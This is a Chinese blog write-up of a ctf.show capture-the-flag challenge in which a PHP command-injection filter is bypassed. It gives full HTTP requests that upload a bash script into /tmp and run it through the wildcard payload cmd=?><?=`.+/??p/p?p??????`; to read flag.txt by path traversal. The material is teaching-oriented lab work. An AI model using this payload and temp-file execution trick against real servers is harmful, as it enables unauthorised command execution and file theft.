ctf.show_红包题 第二弹

进入页面,打开f12,发现提示,可能存在cmd命令注入。
在这里插入图片描述

之后尝试在url对cmd进行注入,发现了一段php代码

在这里插入图片描述
可以发现,服务器过滤了大部分字母和符号,只剩下p,+,点,/,反引号,<和>等。于是我们选择上传一个脚本文件进行执行。

于是我们用burpsuite抓包获取请求头.

知识点1:PHP文件上传机制

在Linux的PHP环境下面,客户端(页面)如果对服务器上传文件,会先生成一个临时文件,存放在根目录下面的tmp文件夹下面,也就是/tmp目录下面.之后再对临时文件进行处理,比如是否将其存储到本地.无论服务器是否存在一个上传文件的请求,只要我们上传了一个临时文件,就一定会在该目录下面生成临时文件,但是会在生成后立刻删除.这个临时文件有一个特征,就是以php开头,后面跟6个随机字符,比如php123abc.因此我们可以使用通配符*对该文件进行匹配. 在这个题里面,我们可以利用其中的时间间隙,再上传文件的同时,使用cmd命令执行脚本文件.

如果我们获取了一个HTTP的数据包,我们可以通过构造一个post请求上传一个文件。先把GET文字改成POST,之后在请求头加入
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
这是一个 HTTP 请求头中的一部分,用于指定请求体的格式和边界。后面上传的脚本文件内容,就是使用上方定义的边界符号进行识别和区分。
之后在下方写入要上传的文件的内容:

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

cat ../../../../../flag.txt(这是一个示例)
-----------------------------10242300956292313528205888--

上面两行表示了文件的信息,中间用一种注释表示使用bash解释器,最后一行是文件的内容.于是数据包变成了这个样子:

POST / HTTP/1.1
Host: 8d5b8bec-830d-4d08-9fbf-4454e4043484.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 260

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

cat ../../../../../flag.txt
-----------------------------10242300956292313528205888--

这样子就可以对服务器上传一个脚本文件. 接下来就是对cmd进行绕过,使上传的文件得以执行,这就涉及php的命令执行.

2.php命令执行.

php里面有很多执行系统命令的函数,如exec等.
反引号也可以用于执行系统命令,并把执行完成的结果以字符串的形式返回,而本题未过滤反引号,可以进行利用.除此之外,我们还需要对执行结果进行输出,但是输出函数以及全部被过滤.这就涉及段标记语法了.<?= ... ?> 是在 PHP 中的一种短标记(short tag)语法,也被称为echo短标记,它可以简化输出变量或表达式的操作。使用<?= ... ?>就相当于echo … 使用段标记需要<?标签,因此我们构造 cmd=?><?=`.+/??p/p?p??????`;先把前面的<?php闭合,再与后面的?>形成一个短标签.再PHP里面.再Linux里面, .(点命令)使source命令的别名,用于读取并且在当前的shell中执行文件中的命令,加号+等价于空格,于是通过构造.+/执行后面的脚本文件.之后就是通过模糊匹配,用?通配符对上传的文件进行匹配,tmp目录写成??p,php临时文件写成p?p???,最后变成cmd=?><?=`.+/??p/p?p???`;

在上传的文件里面构造目录穿越的命令,最后请求头成立这个样子:

POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 8d5b8bec-830d-4d08-9fbf-4454e4043484.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 260

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

cat ../../../../../flag.txt
-----------------------------10242300956292313528205888--

把它发送出去,就可以获取在页面回显获取flag.
在这里插入图片描述

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值